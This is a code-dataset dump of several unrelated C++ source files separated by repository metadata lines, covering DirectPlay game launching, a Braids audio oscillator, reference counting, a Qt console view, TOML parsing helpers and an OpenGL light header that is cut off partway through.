GUID* pServiceProviderGUID, VOID* pAddress, DWORD dwAddressSize, LPSTR strSessionName, LPSTR strPlayerName, BOOL bHostSession ) { DWORD appID; DPSESSIONDESC2 sessionInfo; DPNAME playerName; DPLCONNECTION connectInfo; if( pDPLobby == NULL ) return DPERR_NOINTERFACE; // Fill out session description ZeroMemory( &sessionInfo, sizeof(DPSESSIONDESC2) ); sessionInfo.dwSize = sizeof(DPSESSIONDESC2); sessionInfo.dwFlags = 0; // DPSESSION_xxx flags sessionInfo.guidInstance = *pInstanceGUID; // ID for the session instance sessionInfo.guidApplication = *pApplicationGUID; // GUID of the DirectPlay application. sessionInfo.dwMaxPlayers = 0; // Maximum # players allowed in session sessionInfo.dwCurrentPlayers = 0; // Current # players in session (read only) sessionInfo.lpszSessionNameA = strSessionName; // ANSI name of the session sessionInfo.lpszPasswordA = NULL; // ANSI password of the session (optional) sessionInfo.dwReserved1 = 0; // Reserved for future MS use. sessionInfo.dwReserved2 = 0; sessionInfo.dwUser1 = 0; // For use by the application sessionInfo.dwUser2 = 0; sessionInfo.dwUser3 = 0; sessionInfo.dwUser4 = 0; // Fill out player name ZeroMemory( &playerName, sizeof(DPNAME) ); playerName.dwSize = sizeof(DPNAME); playerName.dwFlags = 0; // Not used. Must be zero. playerName.lpszShortNameA = strPlayerName; // ANSI short or friendly name playerName.lpszLongNameA = strPlayerName; // ANSI long or formal name // Fill out connection description ZeroMemory( &connectInfo, sizeof(DPLCONNECTION) ); connectInfo.dwSize = sizeof(DPLCONNECTION); connectInfo.lpSessionDesc = &sessionInfo; // Pointer to session desc to use on connect connectInfo.lpPlayerName = &playerName; // Pointer to Player name structure connectInfo.guidSP = *pServiceProviderGUID; // GUID of the DPlay SP to use connectInfo.lpAddress = pAddress; // Address for service provider connectInfo.dwAddressSize = dwAddressSize; // Size of address data if( bHostSession ) connectInfo.dwFlags = DPLCONNECTION_CREATESESSION; else connectInfo.dwFlags = DPLCONNECTION_JOINSESSION; // Launch and connect the game return pDPLobby->RunApplication( 0, &appID, &connectInfo, NULL ); } //----------------------------------------------------------------------------- // Name: LaunchDirectPlayApplication() // Desc: Gathers information from the dialog and runs the application. //----------------------------------------------------------------------------- VOID LaunchDirectPlayApplication( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby ) { GUID guidApplication, guidSession, guidServiceProvider; LPSTR pPlayerName, pSessionName; LPVOID pAddress = NULL; DWORD dwAddressSize = 0; CHAR strPlayerName[NAMEMAX], strSessionName[NAMEMAX]; LRESULT iHost; HRESULT hr; SetDlgItemText( hWnd, IDC_STATUSEDIT, "Launching..." ); // Get guid of application to launch hr = GetComboBoxGuid( hWnd, IDC_APPCOMBO, &guidApplication ); if( FAILED(hr) ) { SetDlgItemText(hWnd, IDC_STATUSEDIT, "Launch failed"); return; } // Get guid of service provider to use hr = GetComboBoxGuid( hWnd, IDC_SPCOMBO, &guidServiceProvider ); if( FAILED(hr) ) { SetDlgItemText(hWnd, IDC_STATUSEDIT, "Launch failed"); return; } // Get address to use with this service provider hr = CreateAddress( hWnd, pDPLobby, &guidServiceProvider, &pAddress, &dwAddressSize ); // Ignore the error because pAddress will just be null // Get guid of session to create. guidSession = MY_SESSION_GUID; // Get name of our player GetDlgItemText( hWnd, IDC_PLAYEREDIT, strPlayerName, NAMEMAX ); pPlayerName = strPlayerName; // Get host vs. join flag iHost = SendDlgItemMessage( hWnd, IDC_HOSTRADIO, BM_GETCHECK, 0, 0 ); if( iHost == BST_CHECKED ) { // We are hosting a session iHost = TRUE; // Get name of session GetDlgItemText( hWnd, IDC_SESSIONEDIT, strSessionName, NAMEMAX) ; pSessionName = strSessionName; } else { // We are joining an existing session iHost = FALSE; // Don't need a session name if we are joining pSessionName = NULL; } // Launch the application hr = RunApplication( pDPLobby, &guidApplication, &guidSession, &guidServiceProvider, pAddress, dwAddressSize, pSessionName, pPlayerName, iHost ); if( FAILED(hr) ) { if( pAddress ) GlobalFreePtr( pAddress ); SetDlgItemText(hWnd, IDC_STATUSEDIT, "Launch failed"); return; } SetDlgItemText( hWnd, IDC_STATUSEDIT, "Launch successful" ); if( pAddress ) GlobalFreePtr( pAddress ); } //----------------------------------------------------------------------------- // Name: GetComboBoxGuid() // Desc: Returns GUID stored with a combo box item //----------------------------------------------------------------------------- HRESULT GetComboBoxGuid( HWND hWnd, LONG iDialogItem, GUID* pReturnGUID ) { LONG iIndex; // Get index of selected item iIndex = SendDlgItemMessage( hWnd, iDialogItem, CB_GETCURSEL, 0, 0 ); if( iIndex == CB_ERR ) return DPERR_GENERIC; // Get data associated with this item iIndex = SendDlgItemMessage( hWnd, iDialogItem, CB_GETITEMDATA, (WPARAM)iIndex, 0 ); if( (iIndex == CB_ERR) || (iIndex == 0) ) return DPERR_GENERIC; // Data is a pointer to a guid *pReturnGUID = *((GUID*)iIndex); return DP_OK; } //----------------------------------------------------------------------------- // Name: EnumModemAddress() // Desc: Enumerates the DirectPlay address chunks. If the chunk contains modem // strings, add them to the control. //----------------------------------------------------------------------------- BOOL FAR PASCAL EnumModemAddress( REFGUID guidDataType, DWORD dwDataSize, const VOID* pData, VOID* pContext ) { HWND hWnd = (HWND)pContext; LPSTR strStr = (LPSTR)pData; // Check for modem if( IsEqualGUID( guidDataType, DPAID_Modem ) ) { // Loop over all strings in list while( lstrlen(strStr) ) { // Store modem name in combo box SendDlgItemMessage( hWnd, IDC_ADDRESSCOMBO, CB_ADDSTRING, 0, (LPARAM)strStr ); // Skip to next string strStr += lstrlen(strStr) + 1; } } return TRUE; } //----------------------------------------------------------------------------- // Name: FillModemComboBox() // Desc: Fills combo box with modem names //----------------------------------------------------------------------------- HRESULT FillModemComboBox( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby, GUID* pServiceProviderGUID ) { LPDIRECTPLAY pDP1 = NULL; LPDIRECTPLAY4A pDP = NULL; VOID* pAddress = NULL; DWORD dwAddressSize = 0; HRESULT hr; // Use the obsolete DirectPlayCreate() as quick way to load a specific // service provider. Trade off using DirectPlayCreate() and // QueryInterface() vs using CoCreateInitialize() and building a // DirectPlay Address for InitializeConnection(). hr = DirectPlayCreate( pServiceProviderGUID, &pDP1, NULL ); if( FAILED(hr) ) return hr; // Query for an ANSI DirectPlay4 interface hr = pDP1->QueryInterface( IID_IDirectPlay4A, (VOID**)&pDP ); // Done with DirectPlay1 interface pDP1->Release(); // Fail if we couldn't get a DirectPlay4 interface if( FAILED(hr) ) return hr; // Get size of player address for player zero hr = pDP->GetPlayerAddress( DPID_ALLPLAYERS, NULL, &dwAddressSize ); if( hr != DPERR_BUFFERTOOSMALL ) { pDP->Release(); return hr; } // Make room for it pAddress = GlobalAllocPtr( GHND, dwAddressSize ); if( pAddress == NULL ) { pDP->Release(); return DPERR_NOMEMORY; } // Get the address hr = pDP->GetPlayerAddress( DPID_ALLPLAYERS, pAddress, &dwAddressSize ); if( FAILED(hr) ) { GlobalFreePtr( pAddress ); pDP->Release(); return hr; } // Get modem strings from address and put them in the combo box hr = pDPLobby->EnumAddress( EnumModemAddress, pAddress, dwAddressSize, hWnd ); if( FAILED(hr) ) { GlobalFreePtr( pAddress ); pDP->Release(); return hr; } // Select first item in list SendDlgItemMessage( hWnd, IDC_ADDRESSCOMBO, CB_SETCURSEL, 0, 0 ); // Cleanup and exit GlobalFreePtr( pAddress ); pDP->Release(); return S_OK; } //----------------------------------------------------------------------------- // Name: ErrorBox() // Desc: //----------------------------------------------------------------------------- VOID ErrorBox( LPSTR strError, HRESULT hr ) { CHAR str[MAXSTRLEN]; wsprintf( str, strError, GetDirectPlayErrStr(hr) ); MessageBox( NULL, str, "DPLaunch Error", MB_OK ); } //----------------------------------------------------------------------------- // Name: GetDirectPlayErrStr() // Desc: //----------------------------------------------------------------------------- CHAR* GetDirectPlayErrStr( HRESULT hr ) { switch( hr ) { case DP_OK: return ("DP_OK"); case DPERR_ALREADYINITIALIZED: return ("DPERR_ALREADYINITIALIZED"); case DPERR_ACCESSDENIED: return ("DPERR_ACCESSDENIED"); case DPERR_ACTIVEPLAYERS: return ("DPERR_ACTIVEPLAYERS"); case DPERR_BUFFERTOOSMALL: return ("DPERR_BUFFERTOOSMALL"); case DPERR_CANTADDPLAYER: return ("DPERR_CANTADDPLAYER"); case DPERR_CANTCREATEGROUP: return ("DPERR_CANTCREATEGROUP"); case DPERR_CANTCREATEPLAYER: return ("DPERR_CANTCREATEPLAYER"); case DPERR_CANTCREATESESSION: return ("DPERR_CANTCREATESESSION"); case DPERR_CAPSNOTAVAILABLEYET: return ("DPERR_CAPSNOTAVAILABLEYET"); case DPERR_EXCEPTION: return ("DPERR_EXCEPTION"); case DPERR_GENERIC: return ("DPERR_GENERIC"); case DPERR_INVALIDFLAGS: return ("DPERR_INVALIDFLAGS"); case DPERR_INVALIDOBJECT: return ("DPERR_INVALIDOBJECT"); // case DPERR_INVALIDPARAM: return ("DPERR_INVALIDPARAM"); dup value case DPERR_INVALIDPARAMS: return ("DPERR_INVALIDPARAMS"); case DPERR_INVALIDPLAYER: return ("DPERR_INVALIDPLAYER"); case DPERR_INVALIDGROUP: return ("DPERR_INVALIDGROUP"); case DPERR_NOCAPS: return ("DPERR_NOCAPS"); case DPERR_NOCONNECTION: return ("DPERR_NOCONNECTION"); // case DPERR_NOMEMORY: return ("DPERR_NOMEMORY"); dup value case DPERR_OUTOFMEMORY: return ("DPERR_OUTOFMEMORY"); case DPERR_NOMESSAGES: return ("DPERR_NOMESSAGES"); case DPERR_NONAMESERVERFOUND: return ("DPERR_NONAMESERVERFOUND"); case DPERR_NOPLAYERS: return ("DPERR_NOPLAYERS"); case DPERR_NOSESSIONS: return ("DPERR_NOSESSIONS"); case DPERR_PENDING: return ("DPERR_PENDING"); case DPERR_SENDTOOBIG: return ("DPERR_SENDTOOBIG"); case DPERR_TIMEOUT: return ("DPERR_TIMEOUT"); case DPERR_UNAVAILABLE: return ("DPERR_UNAVAILABLE"); case DPERR_UNSUPPORTED: return ("DPERR_UNSUPPORTED"); case DPERR_BUSY: return ("DPERR_BUSY"); case DPERR_USERCANCEL: return ("DPERR_USERCANCEL"); case DPERR_NOINTERFACE: return ("DPERR_NOINTERFACE"); case DPERR_CANNOTCREATESERVER: return ("DPERR_CANNOTCREATESERVER"); case DPERR_PLAYERLOST: return ("DPERR_PLAYERLOST"); case DPERR_SESSIONLOST: return ("DPERR_SESSIONLOST"); case DPERR_UNINITIALIZED: return ("DPERR_UNINITIALIZED"); case DPERR_NONEWPLAYERS: return ("DPERR_NONEWPLAYERS"); case DPERR_INVALIDPASSWORD: return ("DPERR_INVALIDPASSWORD"); case DPERR_CONNECTING: return ("DPERR_CONNECTING"); case DPERR_CONNECTIONLOST: return ("DPERR_CONNECTIONLOST"); case DPERR_UNKNOWNMESSAGE: return ("DPERR_UNKNOWNMESSAGE"); case DPERR_CANCELFAILED: return ("DPERR_CANCELFAILED"); case DPERR_INVALIDPRIORITY: return ("DPERR_INVALIDPRIORITY"); case DPERR_NOTHANDLED: return ("DPERR_NOTHANDLED"); case DPERR_CANCELLED: return ("DPERR_CANCELLED"); case DPERR_ABORTED: return ("DPERR_ABORTED"); case DPERR_BUFFERTOOLARGE: return ("DPERR_BUFFERTOOLARGE"); case DPERR_CANTCREATEPROCESS: return ("DPERR_CANTCREATEPROCESS"); case DPERR_APPNOTSTARTED: return ("DPERR_APPNOTSTARTED"); case DPERR_INVALIDINTERFACE: return ("DPERR_INVALIDINTERFACE"); case DPERR_NOSERVICEPROVIDER: return ("DPERR_NOSERVICEPROVIDER"); case DPERR_UNKNOWNAPPLICATION: return ("DPERR_UNKNOWNAPPLICATION"); case DPERR_NOTLOBBIED: return ("DPERR_NOTLOBBIED"); case DPERR_SERVICEPROVIDERLOADED: return ("DPERR_SERVICEPROVIDERLOADED"); case DPERR_ALREADYREGISTERED: return ("DPERR_ALREADYREGISTERED"); case DPERR_NOTREGISTERED: return ("DPERR_NOTREGISTERED"); case DPERR_AUTHENTICATIONFAILED: return ("DPERR_AUTHENTICATIONFAILED"); case DPERR_CANTLOADSSPI: return ("DPERR_CANTLOADSSPI"); case DPERR_ENCRYPTIONFAILED: return ("DPERR_ENCRYPTIONFAILED"); case DPERR_SIGNFAILED: return ("DPERR_SIGNFAILED"); case DPERR_CANTLOADSECURITYPACKAGE: return ("DPERR_CANTLOADSECURITYPACKAGE"); case DPERR_ENCRYPTIONNOTSUPPORTED: return ("DPERR_ENCRYPTIONNOTSUPPORTED"); case DPERR_CANTLOADCAPI: return ("DPERR_CANTLOADCAPI"); case DPERR_NOTLOGGEDIN: return ("DPERR_NOTLOGGEDIN"); case DPERR_LOGONDENIED: return ("DPERR_LOGONDENIED"); } // For errors not in the list, return HRESULT string static CHAR strTemp[12]; wsprintf( strTemp, "0x%08X", hr ); return strTemp; }
32.092873
91
0.6454
Ybalrid
df063cc8ea2964b4d95f9c7b92681872964b6cf8
1,189
cc
C++
src/braids/braids.cc
marcelbienvu/MabiluObjects
16b9bda2bebaba34550748c5a17b92361d6de241
[ "MIT" ]
null
null
null
src/braids/braids.cc
marcelbienvu/MabiluObjects
16b9bda2bebaba34550748c5a17b92361d6de241
[ "MIT" ]
null
null
null
src/braids/braids.cc
marcelbienvu/MabiluObjects
16b9bda2bebaba34550748c5a17b92361d6de241
[ "MIT" ]
null
null
null
#include "braids/braids.h" #define MOD_TRIGGER 0 #define MOD_NOTE 1 #define MOD_TIMBRE 2 #define MOD_COLOR 3 #define MOD_ENGINE 4 Braids::Braids(): AudioStream(5, modulations) { oscillator.Init(); oscillator.set_pitch(10000); oscillator.set_shape(braids::MACRO_OSC_SHAPE_TRIPLE_SAW); oscillator.set_parameters(0, 5000); oscillator.set_parameters(1, 5000); } void Braids::update() { audio_block_struct *out; //*inputs[5]; out = allocate(); if(!out) return; /* for(int i = 0; i < 5 ; i++) { inputs[i] = receiveReadOnly(i); // read input if(inputs[i]) { // if present, apply to parameters release(inputs[i]); } } */ oscillator.Render(sync_buffer, out->data, AUDIO_BLOCK_SAMPLES); transmit(out); release(out); } void Braids::trigger() { oscillator.Strike(); } void Braids::note(int16_t value) { oscillator.set_pitch(value); } void Braids::timbre(int16_t value) { oscillator.set_parameters(0, value); } void Braids::color(int16_t value) { oscillator.set_parameters(1, value); } void Braids::shape(braids::MacroOscillatorShape value) { oscillator.set_shape(value); }
26.422222
87
0.660219
marcelbienvu
df0deef9ecdf87ebb2f1709dbf8059d5a605127d
954
cpp
C++
lib/glucose/rtl/referencedImpl.cpp
tzolkincz/fast-akima-interpolation
460149b45695c286a9e5911fe10228e35e5225d0
[ "WTFPL" ]
2
2019-11-07T07:04:44.000Z
2021-02-27T01:30:07.000Z
lib/glucose/rtl/referencedImpl.cpp
tzolkincz/fast-akima-interpolation
460149b45695c286a9e5911fe10228e35e5225d0
[ "WTFPL" ]
null
null
null
lib/glucose/rtl/referencedImpl.cpp
tzolkincz/fast-akima-interpolation
460149b45695c286a9e5911fe10228e35e5225d0
[ "WTFPL" ]
1
2016-11-23T02:41:13.000Z
2016-11-23T02:41:13.000Z
#include "referencedImpl.h" #include "cfixes.h" #include <limits> HRESULT CReferenced::QueryInterface(/*REFIID */ void* riid, void ** ppvObj) { unused(ppvObj); unused(riid); return E_NOTIMPL; } ULONG IfaceCalling CReferenced::AddRef() { #ifndef WIN32 return __sync_add_and_fetch(&mCounter, 1); #elif cpp0x return mCounter.fetch_add(1)+1; #else return InterlockedIncrement(&mCounter); #endif } ULONG IfaceCalling CReferenced::Release() { #ifndef WIN32 ULONG rc = __sync_sub_and_fetch(&mCounter, 1); #elif cpp0x ULONG rc = mCounter.fetch_sub(1) - 1; //fetch_sub returns the old value! #else ULONG rc = InterlockedDecrement(&mCounter); #endif if (rc == 0) delete this; return rc; } #undef max ULONG IfaceCalling CNotReferenced::AddRef() { return std::numeric_limits<ULONG>::max(); } ULONG IfaceCalling CNotReferenced::Release() { return std::numeric_limits<ULONG>::max(); }
19.875
79
0.686583
tzolkincz
df1864065f8a0bdbec0ba2ce423ec62c12730ce4
2,071
cpp
C++
host/consoleview.cpp
pavelvasev/Xclu
6cdbb7040c057b3c1107f7a039acf0a72046ed83
[ "MIT" ]
2
2020-07-17T18:02:55.000Z
2020-10-25T10:59:55.000Z
host/consoleview.cpp
pavelvasev/Xclu
6cdbb7040c057b3c1107f7a039acf0a72046ed83
[ "MIT" ]
7
2021-02-24T05:37:58.000Z
2022-03-20T04:00:01.000Z
host/consoleview.cpp
pavelvasev/Xclu
6cdbb7040c057b3c1107f7a039acf0a72046ed83
[ "MIT" ]
3
2020-07-17T18:03:04.000Z
2021-07-02T06:17:13.000Z
#include "qt_widgets.h" #include "consoleview.h" #include "sdk_cpp.h" ConsoleView *CONS_VIEW; //--------------------------------------------------------------------- ConsoleView::ConsoleView(QWidget *parent) :QWidget(parent) { //textEdit_ = new QTextEdit; //- позволяет вставлять картинки и HTML textArea_ = new QPlainTextEdit; //ставим число строк, как запрошено //int font_spacing = textEdit_->fontMetrics().lineSpacing(); //int hmin = font_spacing * item->lines_count_min(); //int hmax = font_spacing * item->lines_count_max(); //textArea_->setMinimumHeight(200); //textArea_->setMaximumHeight(hmax); textArea_->setReadOnly(true); //ставим серый фон QPalette pal = textArea_->palette(); pal.setBrush(QPalette::Base, pal.brush(QPalette::Midlight)); textArea_->setPalette(pal); buttonClear_ = new QPushButton(tr("Clear")); //Пока скрываем кнопку Clear buttonClear_->setVisible(false); //Сборка frame QWidget *frame = xclu::vwidget(-1, new QLabel(tr("Console")), 0, textArea_, 10, buttonClear_, 0); //устанавливаем шрифт //xclu::set_font_size(frame, xclu::main_font_size); xclu::set_font_size(textArea_, xclu::console_font_size); //общий layout this->setLayout(xclu::vlayout(0, frame, 0)); //track changes connect(buttonClear_, SIGNAL (released()), this, SLOT (clear())); } //--------------------------------------------------------------------- //добавить сообщение void ConsoleView::append(QString message, bool dirty) { textArea_->appendPlainText(message); //qDebug() << "Appending " << message; if (dirty) { empty_ = false; } } //--------------------------------------------------------------------- //очистить список сообщений void ConsoleView::clear() { textArea_->clear(); empty_ = true; } //--------------------------------------------------------------------- //есть ли сообщения bool ConsoleView::is_empty() { return empty_; } //---------------------------------------------------------------------
27.613333
101
0.557219
pavelvasev
df193ad8abecd0c2093d7d0dde4ccd0ebf6a2c9d
147
cpp
C++
src/kernelexception.cpp
f-tischler/RaftLib
510532d3d54ade15c1f9d67a85f40bf62238b78f
[ "Apache-2.0" ]
759
2016-05-23T22:40:00.000Z
2022-03-25T09:05:41.000Z
src/kernelexception.cpp
Myicefrog/RaftLib
5ff105293bc851ed73bdfd8966b15d0cadb45eb0
[ "Apache-2.0" ]
111
2016-05-24T02:30:14.000Z
2021-08-16T15:11:53.000Z
src/kernelexception.cpp
Myicefrog/RaftLib
5ff105293bc851ed73bdfd8966b15d0cadb45eb0
[ "Apache-2.0" ]
116
2016-05-31T08:03:05.000Z
2022-03-01T00:54:31.000Z
#include <string> #include "kernelexception.hpp" KernelException::KernelException( const std::string message ) : RaftException( message ) { }
14.7
89
0.741497
f-tischler
df1a65c461f37e9950b6b1eaad97304e05967429
3,218
cpp
C++
MoravaEngine/src/Mono/ConsoleGameLib/RWord.cpp
imgui-works/MoravaEngine_opengl_vulkan_2d_3d_game_engine
b8e6ee3c3c890e9b8cf5de7bcb564b32f6767b6b
[ "Apache-2.0" ]
168
2020-07-18T04:20:27.000Z
2022-03-31T23:39:38.000Z
CppFramework/ConsoleGameLib/src/Implementation/RWord.cpp
Ohjurot/ScriptingGuide
778803a5e2c020f887556f10f9a5a6a30b8837f0
[ "Unlicense" ]
5
2020-11-23T12:33:06.000Z
2022-01-05T15:15:30.000Z
CppFramework/ConsoleGameLib/src/Implementation/RWord.cpp
Ohjurot/ScriptingGuide
778803a5e2c020f887556f10f9a5a6a30b8837f0
[ "Unlicense" ]
8
2020-09-07T03:04:18.000Z
2022-03-25T13:47:16.000Z
#include "RWord.h" // Instance CGL_internal::RWord* CGL_internal::RWord::s_ptrInstance = nullptr; CGL_internal::RWord::~RWord() { // Free allocators if (m_textAllocator) free(m_textAllocator); if (m_arrayAllocator) free(m_arrayAllocator); } const char* CGL_internal::RWord::getWord(unsigned int index) { // Word initaliy null const char* word = nullptr; // Check bounds if (index < m_wordCount) { word = m_arrayAllocator[index]; } // Return word return word; } unsigned int CGL_internal::RWord::getWordCount() { return m_wordCount; } CGL_internal::RWord::RWord(const char* file) { // Open file HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); bool readOk = false; if (hFile != INVALID_HANDLE_VALUE) { // Get file size DWORD fileSize = GetFileSize(hFile, NULL); // Allocate strig allocator m_textAllocator = (char*)malloc(fileSize + 1); if (m_textAllocator) { // Force terminator m_textAllocator[fileSize] = '\0'; // Read file if (ReadFile(hFile, m_textAllocator, fileSize, NULL, NULL)) { readOk = true; } } // Close file CloseHandle(hFile); } // Allocate buffer unsigned int arraySize = 0; if (readOk) { // Allocate buffer m_arrayAllocator = (char**)malloc(4096 * sizeof(char*)); if (m_arrayAllocator) { arraySize = 4096; } } // Process file if (arraySize) { // Current string begin char* stringBegin = m_textAllocator; bool memoryOk = true; // For each char for (char* cPtr = m_textAllocator; *cPtr && memoryOk; cPtr++) { // Check if is controle char if (*cPtr == '\r' || *cPtr == '\n') { // Only on new line if (*cPtr == '\n') { // Allocate more array memory if (m_wordCount >= arraySize) { // Allocate new meory void* newMemory = malloc(arraySize * 2 * sizeof(char*)); if (newMemory) { // Copy and and store memcpy(newMemory, m_arrayAllocator, arraySize * sizeof(char*)); free(m_arrayAllocator); m_arrayAllocator = (char**)newMemory; // Store new size arraySize *= 2; } else { memoryOk = false; } } // Only if memory is ok if (memoryOk) { // Set word m_arrayAllocator[m_wordCount++] = stringBegin; // Move stringbegin stringBegin = &cPtr[1]; } } // Make it a terminator *cPtr = '\0'; } else { // Convert to uppercase *cPtr = toupper(*cPtr); } } // Check integrety if (memoryOk) { m_valid = true; } } } bool CGL_internal::RWord::init(const char* file) { // Result bool bool result = false; // Only if not existing if (!s_ptrInstance) { // Create instance s_ptrInstance = new RWord(file); if (s_ptrInstance) { // Check if (s_ptrInstance->m_valid) { // Init succeeded result = true; } else { // Delete delete s_ptrInstance; s_ptrInstance = nullptr; } } } // Return result return result; } void CGL_internal::RWord::destroy() { // If in existance delete and unset if (s_ptrInstance) { delete s_ptrInstance; s_ptrInstance = nullptr; } } CGL_internal::RWord* CGL_internal::RWord::get() { return s_ptrInstance; }
20.628205
98
0.629584
imgui-works
b301adc927d8dd2a4fbeaebbdeb1ba05b883cfae
548
hpp
C++
src/volt/gpu/d3d12/routine.hpp
voltengine/volt
fbefe2e0a8e461b6130ffe926870c4848bd6e7d1
[ "MIT" ]
null
null
null
src/volt/gpu/d3d12/routine.hpp
voltengine/volt
fbefe2e0a8e461b6130ffe926870c4848bd6e7d1
[ "MIT" ]
null
null
null
src/volt/gpu/d3d12/routine.hpp
voltengine/volt
fbefe2e0a8e461b6130ffe926870c4848bd6e7d1
[ "MIT" ]
null
null
null
#pragma once #include <volt/pch.hpp> #include <volt/gpu/routine.hpp> namespace volt::gpu::d3d12 { template<command_types T> class routine : public gpu::routine<T> { public: ID3D12GraphicsCommandList *command_list; ID3D12CommandAllocator *allocator; routine(std::shared_ptr<gpu::pool<T>> &&pool); ~routine(); void begin() override; void end() override; }; using rasterization_routine = routine<command_type::rasterization>; using compute_routine = routine<command_type::compute>; using copy_routine = routine<command_type::copy>; }
18.266667
67
0.751825
voltengine
b301e7e792f589f2f7b094112f61543114f70e12
2,733
hpp
C++
src/helics/common/TomlProcessingFunctions.hpp
manoj1511/HELICS
5b085bb4331f943d3fa98eb40056c3e10a1b882d
[ "BSD-3-Clause" ]
null
null
null
src/helics/common/TomlProcessingFunctions.hpp
manoj1511/HELICS
5b085bb4331f943d3fa98eb40056c3e10a1b882d
[ "BSD-3-Clause" ]
null
null
null
src/helics/common/TomlProcessingFunctions.hpp
manoj1511/HELICS
5b085bb4331f943d3fa98eb40056c3e10a1b882d
[ "BSD-3-Clause" ]
null
null
null
/* Copyright (c) 2017-2019, Battelle Memorial Institute; Lawrence Livermore National Security, LLC; Alliance for Sustainable Energy, LLC. See the top-level NOTICE for additional details. All rights reserved. SPDX-License-Identifier: BSD-3-Clause */ #pragma once /** @file @details functions related to loading and evaluating TOML files and helper functions for reading them using the toml library */ #include "../core/helics-time.hpp" #include "toml/toml.h" #include <functional> /** load a TOML string or filename that points to a TOML file and return a toml::Value to the root object */ toml::Value loadToml (const std::string &tomlString); bool hasTomlExtension (const std::string &tomlString); /** load a TOML object in a string */ toml::Value loadTomlStr (const std::string &tomlString); /** read a time from a TOML value element*/ helics::Time loadTomlTime (const toml::Value &timeElement, time_units defaultUnits = time_units::sec); /** get a name or key from the element*/ std::string getKey (const toml::Value &element); template <class X> inline X getOrDefault (const toml::Value &element, const std::string &key, const X &defVal) { auto val = element.find (key); return (val != nullptr) ? val->as<X> () : defVal; } inline void callIfMember (const toml::Value &element, const std::string &key, const std::function<void (const std::string &)> &call) { auto val = element.find (key); if (val != nullptr) { call (val->as<std::string> ()); } } inline void callIfMember (const toml::Value &element, const std::string &key, const std::function<void (const std::string &, helics::Time)> &call) { auto val = element.find (key); if (val != nullptr) { call (key, loadTomlTime (*val)); } } template <class X> inline void callIfMember (const toml::Value &element, const std::string &key, const std::function<void (const std::string &, X)> &call) { auto val = element.find (key); if (val != nullptr) { call (key, val->as<X> ()); } } inline void replaceIfMember (const toml::Value &element, const std::string &key, helics::Time &timeVal) { auto val = element.find (key); if (val != nullptr) { timeVal = loadTomlTime (*val); } } template <class X> inline void replaceIfMember (const toml::Value &element, const std::string &key, X &loc) { auto val = element.find (key); if (val != nullptr) { loc = val->as<X> (); } } inline bool isMember (const toml::Value &element, const std::string &key) { return (element.find (key) != nullptr); }
27.887755
114
0.63154
manoj1511
b305f432bf6c01cf47785419257281ace39d4dc7
162
hh
C++
src/Titon/Intl/locales/en_CA/locale.hh
ciklon-z/framework
cbf44729173d3a83b91a2b0a217c6b3827512e44
[ "BSD-2-Clause" ]
206
2015-01-02T20:01:12.000Z
2021-04-15T09:49:56.000Z
src/Titon/Intl/locales/en_CA/locale.hh
ciklon-z/framework
cbf44729173d3a83b91a2b0a217c6b3827512e44
[ "BSD-2-Clause" ]
44
2015-01-02T06:03:43.000Z
2017-11-20T18:29:06.000Z
src/Titon/Intl/locales/en_CA/locale.hh
titon/framework
cbf44729173d3a83b91a2b0a217c6b3827512e44
[ "BSD-2-Clause" ]
27
2015-01-03T05:51:29.000Z
2022-02-21T13:50:40.000Z
<?hh // English (Canadian) return Map { 'code' => 'en_CA', 'parent' => 'en', 'timezone' => 'Canada/Central', 'title' => 'English (Canadian)', };
16.2
36
0.518519
ciklon-z
b306995e3ac20e240a7579d3cea79f3578d0e338
6,086
hpp
C++
glfw3_app/common/gl_fw/gllight.hpp
hirakuni45/glfw3_app
d9ceeef6d398229fda4849afe27f8b48d1597fcf
[ "BSD-3-Clause" ]
9
2015-09-22T21:36:57.000Z
2021-04-01T09:16:53.000Z
glfw3_app/common/gl_fw/gllight.hpp
hirakuni45/glfw3_app
d9ceeef6d398229fda4849afe27f8b48d1597fcf
[ "BSD-3-Clause" ]
null
null
null
glfw3_app/common/gl_fw/gllight.hpp
hirakuni45/glfw3_app
d9ceeef6d398229fda4849afe27f8b48d1597fcf
[ "BSD-3-Clause" ]
2
2019-02-21T04:22:13.000Z
2021-03-02T17:24:32.000Z
#pragma once //=====================================================================// /*! @file @brief OpenGL ライト環境管理(ヘッダー) @author 平松邦仁 (hira@rvf-rc45.net) @copyright Copyright (C) 2017 Kunihito Hiramatsu @n Released under the MIT license @n https://github.com/hirakuni45/glfw3_app/blob/master/LICENSE */ //=====================================================================// #include <vector> #include <string> #include "gl_fw/gl_info.hpp" #include "utils/vtx.hpp" #include "img_io/img.hpp" namespace gl { //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++// /*! @brief ライト・クラス */ //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++// struct light { typedef size_t handle; struct material { enum type { emerald, ///< エメラルド jade, ///< 翡翠 obsidian, ///< 黒曜石 pearl, ///< 真珠 ruby, ///< ルビー turquoise, ///< トルコ石 brass, ///< 真鍮 bronze, ///< 青銅 chrome, ///< クローム copper, ///< 銅 gold, ///< 金 silver, ///< 銀 black_plastic, ///< プラスチック(黒) cyan_plastic, ///< プラスチック(シアン) green_plastic, ///< プラスチック(緑) red_plastic, ///< プラスチック(赤) white_plastic, ///< プラスチック(白) yellow_plastic, ///< プラスチック(黄) black_rubber, ///< ゴム(黒) cyan_rubber, ///< ゴム(シアン) green_rubber, ///< ゴム(緑) red_rubber, ///< ゴム(赤) white_rubber, ///< ゴム(白) yellow_rubber, ///< ゴム(黄) none_, ///< 無効 }; }; private: bool enable_; struct light_env { bool enable_; vtx::fvtx4 pos_; img::rgbaf ambient_; img::rgbaf diffuse_; img::rgbaf specular_; light_env() : enable_(true), pos_(0.0f), ambient_(0.0f, 0.0f, 0.0f, 1.0f), diffuse_(1.0f, 1.0f, 1.0f, 1.0f), specular_(1.0f, 1.0f, 1.0f, 1.0f) { } }; typedef std::vector<light_env> light_envs; typedef std::vector<light_env>::iterator light_envs_it; typedef std::vector<light_env>::const_iterator light_envs_cit; light_envs light_envs_; uint32_t light_num_; public: //-----------------------------------------------------------------// /*! @brief コンストラクター */ //-----------------------------------------------------------------// light() : enable_(false), light_num_(0) { } //-----------------------------------------------------------------// /*! @brief デストラクター */ //-----------------------------------------------------------------// ~light() { } //-----------------------------------------------------------------// /*! @brief 全体ライトの On/Off @param[in] f フラグ */ 